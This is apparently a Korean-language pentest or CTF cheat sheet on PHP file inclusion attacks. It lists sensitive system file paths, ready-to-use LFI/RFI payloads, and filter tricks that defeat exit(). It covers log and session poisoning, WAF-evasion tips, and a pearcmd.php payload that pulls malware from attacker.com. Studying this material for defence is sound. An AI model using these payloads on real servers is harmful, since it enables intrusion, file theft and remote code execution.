파일 포함 취약점 개요
파일 포함(File Inclusion) 취약점은 웹 애플리케이션이 사용자 입력에 따라 서버의 파일을 동적으로 불러오거나 실행할 때 발생합니다. 공격자는 이 취약점을 이용해 서버의 민감한 파일을 읽거나, 원격 파일을 포함하여 악성 코드를 실행할 수 있습니다. 이는 웹 서버 및 시스템 전반에 심각한 보안 위협을 초래할 수 있습니다.
민감한 파일 정보
공격자가 파일 포함 취약점을 통해 주로 탐색하는 시스템 내 민감 파일의 경로는 다음과 같습니다.
리눅스(Linux) 환경
/etc/passwd: 사용자 계정 정보/etc/shadow: 사용자 비밀번호 해시 정보/etc/my.conf: MySQL 데이터베이스 설정 파일/etc/httpd/conf/httpd.conf: Apache 웹 서버 메인 설정 파일/usr/local/apache2/conf/httpd.conf: Apache2 기본 설정 경로/usr/local/apache2/conf/extra/httpd-vhost.conf: 가상 호스트 설정 파일/usr/local/php5/lib/php.ini: PHP 런타임 설정 파일/proc/self/cmdline: 현재 프로세스의 명령줄 인자/proc/self/environ: 현재 프로세스의 환경 변수/proc/self/cwd: 현재 프로세스의 작업 디렉터리를 가리키는 심볼릭 링크/proc/self/root: 현재 프로세스의 루트 디렉터리를 가리키는 심볼릭 링크
윈도우(Windows) 환경
C:\boot.ini: 시스템 부팅 구성 정보C:\Windows\System32\inetsrv\MetaBase.xml: IIS 웹 서버 설정 파일C:\Windows\repair\sam: 시스템 최초 설치 시 비밀번호 저장 파일C:\Program Files\mysql\my.ini: MySQL 데이터베이스 설정 파일C:\Program Files\mysql\data\mysql\user.MYD: MySQL root 사용자 정보 (구 버전)C:\Windows\php.ini: PHP 런타임 설정 파일
파일 디스크립터(File Descriptor)를 이용한 접근
파일 디스크립터는 열린 파일이나 I/O 자원을 나타내는 추상적인 핸들입니다. 이를 통해 현재 실행 중인 프로세스와 관련된 특정 파일을 참조할 수 있습니다.
/proc/PID/fd/FID: 특정 PID를 가진 프로세스의 FID 파일 디스크립터php://fd/FID: PHP 스트림을 통해 파일 디스크립터 접근/dev/fd/FID: 리눅스 시스템의 파일 디스크립터 경로
PHP 관련 파일 포함 취약점
PHP는 파일 처리 및 동적인 콘텐츠 로드를 위해 다양한 기능을 제공하며, 이는 적절히 사용되지 않을 경우 취약점으로 이어질 수 있습니다.
PHP Wrapper 메커니즘 활용
PHP는 다양한 프로토콜처럼 동작하는 스트림 래퍼(Wrapper)를 통해 파일 및 기타 I/O 자원에 접근합니다. 이러한 래퍼는 일반 파일 경로 외에도 특별한 방식으로 데이터를 처리할 수 있도록 해줍니다.
주요 요구 사항
allow_url_fopen = On: URL을 통한 파일 접근 허용 여부allow_url_include = On: URL을 통한 파일 포함 허용 여부 (주로 PHP 5.2.0 이상에서 활성화 가능)
file:// 프로토콜
기본적으로 include() 함수 등은 file:// 프로토콜을 사용하며, 이는 로컬 파일 시스템 내의 파일을 참조합니다. 예를 들어 include("config.php")는 file://과 현재 디렉터리를 전제합니다. 포함되는 파일 내용이 PHP 구문에 부합한다면 서버에서 실행됩니다.
data:// 프로토콜
data:// 래퍼는 URL에 직접 데이터를 포함시켜 이를 파일처럼 처리할 수 있도록 합니다. 이를 통해 코드 실행이 가능합니다.
?page=data://text/plain,=phpinfo();?>
?page=data://text/plain;base64,PD89c3lzdGVtKCdscyAtYWwnKTs/Pg==
http:// 및 https:// 프로토콜
allow_url_include가 활성화된 경우, 원격 서버의 파일을 포함하여 실행할 수 있습니다. 이는 RFI(Remote File Inclusion) 취약점으로 이어집니다.
?page=http://example.com/malicious_shell.php
php:// 프로토콜
php:// 래퍼는 PHP의 I/O 스트림에 직접 접근할 수 있도록 합니다.
php://filter: 데이터 필터링 및 변환
이 래퍼는 데이터를 읽거나 쓰기 전에 다양한 필터를 적용할 수 있도록 합니다. 주로 파일 내용을 읽거나 인코딩/디코딩하는 데 사용됩니다.
?page=php://filter/read=convert.base64-encode/resource=/etc/passwd
자주 사용되는 필터들:
convert.base64-encode: Base64 인코딩convert.base64-decode: Base64 디코딩string.rot13: ROT13 변환string.toupper: 대문자로 변환string.tolower: 소문자로 변환string.strip_tags: HTML 및 PHP 태그 제거 (PHP 7.3.0부터 제거됨)convert.quoted-printable-encode: Quoted-Printable 형식으로 인코딩convert.iconv.*: 문자열 인코딩 변환 (예:convert.iconv.UTF-8.EUC-KR)
팁: 웹 방화벽(WAF)이 필터 키워드를 차단할 경우, URL 이중 인코딩(Double URL Encoding)을 시도하여 우회할 수 있습니다.
php://input: 요청 본문 데이터 실행
이 래퍼는 HTTP 요청의 본문(raw POST 데이터)을 PHP 코드처럼 읽어 실행할 수 있게 합니다. allow_url_include가 켜져 있어야 합니다.
POST /index.php?page=php://input HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
<?php system('id'); ?>
php://fd: 파일 디스크립터 접근
php://fd/[파일 디스크립터 번호] 형식으로 이미 열려 있는 파일 디스크립터에 접근할 수 있습니다. 예를 들어, 표준 출력(stdout)은 1번 디스크립터를 가집니다.
file_put_contents()를 이용한 셸 업로드 우회
file_put_contents() 함수는 파일에 데이터를 쓸 때 사용됩니다. 이 함수가 exit() 또는 다른 종료 구문과 결합된 상황에서 특정 필터를 사용하면 악성 코드 삽입을 시도할 수 있습니다.
file_put_contents($filename, "<?php exit(); ?>" . $user_content);
Base64 디코딩 필터를 이용한 우회
convert.base64-decode 필터는 Base64 문자열만 인식하고 다른 문자는 무시합니다. Base64는 4개 문자 단위로 디코딩되므로, 악성 코드 앞에 불필요한 문자를 삽입하여 exit() 구문을 무효화할 수 있습니다.
// 공격자 요청 예시
// $filename: php://filter/convert.base64-decode/resource=shell.php
// $user_content: aPD89c3lzdGVtKCd3aG9hbWknKTs/Pg==
원리: "<?php exit(); ?>" 이 문자열은 Base64 디코딩 과정에서 대부분 무시됩니다. 여기에 공격자가 a와 같은 한 글자를 추가하고, 그 뒤에 Base64로 인코딩된 악성 코드(예: PD89c3lzdGVtKCd3aG9hbWknKTs/Pg==)를 붙이면, Base64 디코더는 불완전한 exit() 구문을 건너뛰고 악성 코드를 정상적으로 디코딩하여 파일에 저장합니다. 최종 파일에는 a와 디코딩된 악성 코드가 남게 됩니다.
ROT13 또는 strip_tags 필터를 이용한 우회
file_put_contents($output_file, "<?php exit(); ?>" . $input_data);
이 경우, $input_data에 필터를 직접 적용하여 exit() 부분을 변조하거나 무효화할 수 있습니다.
// ROT13 우회 예시
// $output_file: php://filter/string.rot13|resource=shell.php
// $input_data: <?cuc riny('id');?> (ROT13으로 인코딩된 PHP 코드)
// strip_tags + base64-decode 우회 예시
// $output_file: php://filter/string.strip_tags|convert.base64-decode/resource=?>PD89c3lzdGVtKCdscyAtYScpOy8uLi9zaGVsbC5waHA=
팁: 필터 이름(예: rot13, base64)이 WAF에 의해 차단될 경우, URL 이중 인코딩을 시도해 볼 수 있습니다.
로그 파일 포함(LFI Log File Inclusion)
웹 서버는 클라이언트의 요청 정보를 로그 파일에 기록합니다. 공격자는 User-Agent나 URL 등의 HTTP 헤더에 PHP 코드를 삽입하여 로그 파일에 기록되게 한 후, 이 로그 파일을 포함시켜 코드를 실행할 수 있습니다.
- Nginx:
/var/log/nginx/access.log - Apache:
/var/log/apache2/access.log또는/var/log/httpd/access_log
공격 흐름:
1. HTTP 요청의 User-Agent 필드에 <?php system('id'); ?> 와 같은 악성 PHP 코드를 삽입하여 서버에 요청을 보냅니다.
2. 웹 서버는 이 요청 정보를 로그 파일에 기록합니다.
3. 파일 포함 취약점을 통해 해당 로그 파일을 포함하여 실행합니다 (예: ?page=/var/log/nginx/access.log).
세션 파일 포함(LFI Session File Inclusion)
PHP는 사용자 세션 정보를 서버에 파일 형태로 저장합니다. 이 세션 파일에 악성 코드를 삽입하고 포함하여 실행할 수 있습니다.
주요 조건 및 경로
session.upload_progress.enable = On: 파일 업로드 진행 상황을 세션에 저장하는 기능 활성화.- 세션 파일 경로:
/var/lib/php/sessions/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
PHPSESSID는 클라이언트의 쿠키에 있는 세션 ID입니다.
공격 절차 및 조건 경쟁
session.upload_progress.enable이 켜져 있을 때, 파일 업로드 요청을 보내면 PHP는 PHP_SESSION_UPLOAD_PROGRESS라는 특정 이름을 가진 필드의 값을 세션 파일에 저장합니다. 이 값을 악성 코드로 설정하고, session.upload_progress.cleanup (기본적으로 On) 설정 때문에 세션 파일이 즉시 삭제될 수 있으므로, 조건 경쟁(Race Condition)을 이용해 코드를 실행해야 합니다.
- 악성 코드를 포함한
PHP_SESSION_UPLOAD_PROGRESS필드를 가진 multipart/form-data 요청을 보냅니다. 이 때,PHPSESSID쿠키를 임의의 값(예:exploit)으로 설정합니다. - 동시에, 다른 요청으로
?page=/tmp/sess_exploit와 같이 세션 파일을 포함하는 요청을 반복적으로 보냅니다.
두 요청이 적절한 타이밍에 서버에 도달하면, 세션 파일에 악성 코드가 저장된 순간 파일 포함이 발생하여 코드가 실행됩니다.
<!-- 악성 코드 삽입을 위한 HTML 폼 예시 -->
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat /flag');?>" />
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
이 폼을 통해 요청을 보내면서, 동시에 프록시 도구 등을 이용하여 세션 파일 포함 요청을 반복적으로 보내는 방식으로 조건 경쟁을 유발합니다.
require/include_once 경로 길이 우회
일부 PHP 버전이나 환경에서는 require 또는 include_once 함수가 긴 파일 경로를 처리할 때 시스템 제한으로 인해 경로가 잘리는 현상이 발생할 수 있습니다. 이를 이용해 의도치 않은 파일을 포함시킬 수 있습니다.
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/secret_file.php
위와 같이 /proc/self/root를 반복적으로 사용하여 매우 긴 경로를 만들면, 내부적으로 경로 처리 시 특정 지점에서 잘려 의도치 않게 다른 파일(예: secret_file.php)이 포함될 수 있습니다. 이는 파일 시스템의 특정 경로 최대 길이 제한이나 PHP의 내부 경로 처리 로직에서 발생할 수 있는 취약점을 이용합니다.
pearcmd.php 활용
pearcmd.php는 PEAR(PHP Extension and Application Repository) 패키지 관리자의 명령줄 인터페이스 파일입니다. 특정 조건 하에서 이 파일을 파일 포함 취약점과 결합하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
전제 조건
register_argc_argv = On: PHP가 명령줄 인자를$argv전역 변수에 저장하도록 설정되어 있어야 합니다.
공격 기법
pearcmd.php 파일을 포함시킨 후, URL 쿼리 파라미터를 통해 PEAR 명령줄 인자를 전달합니다. 예를 들어 install 명령어를 사용하여 원격 서버에 있는 파일을 웹 서버의 특정 경로에 다운로드하여 설치할 수 있습니다.
- 외부 통신 가능 환경:
?target_file=/usr/local/lib/php/pearcmd.php&+install+--installroot=/var/www/html+http://attacker.com/malware.php위 페이로드는
pearcmd.php를 포함시키고,install명령을 통해http://attacker.com/malware.php파일을/var/www/html디렉터리에 다운로드 및 설치를 시도합니다. - 외부 통신 불가 환경:
?target_file=/usr/local/lib/php/pearcmd.php&+config-create+/&<?=system('cat /etc/passwd');?>+/tmp/shell.php이 페이로드는
config-create명령을 사용하여 지정된 내용을/tmp/shell.php파일에 쓰도록 합니다.<?=system('cat /etc/passwd');?>부분이 파일 내용으로 삽입됩니다./는 config-create 명령의 첫 번째 인자인데, 이 경우 특정 의미 없이 사용됩니다.
Docker 환경에서의 PHP 파일 포함 공격
Docker와 같은 컨테이너 환경에서는 파일 시스템 구조가 표준화되어 있고, 특정 정보 파일의 위치를 예측하기 쉽습니다. 이를 이용한 공격 방식은 다음과 같습니다.
phpinfo()를 통한 임시 파일 조건 경쟁:phpinfo()페이지가 존재한다면, 파일 업로드 시 생성되는 임시 파일의 경로와 이름이phpinfo()출력에 잠시 노출될 수 있습니다. 이를 활용하여 임시 파일을 포함하여 실행하는 조건 경쟁 공격을 시도할 수 있습니다.- 윈도우 시스템 와일드카드 사용: 윈도우 기반 PHP 환경에서는 임시 파일 이름에 특정 패턴이 있을 때, 와일드카드 문자(예:
<)를 사용하여 파일 이름을 추측하고 포함할 수 있습니다. 예를 들어C:\Windows\Temp\php<<와 같이 사용하여php로 시작하는 임시 파일을 탐색할 수 있습니다. - 세션 파일 포함: 위에서 설명한 세션 파일 포함 기법은 Docker 환경에서도 동일하게 적용될 수 있습니다.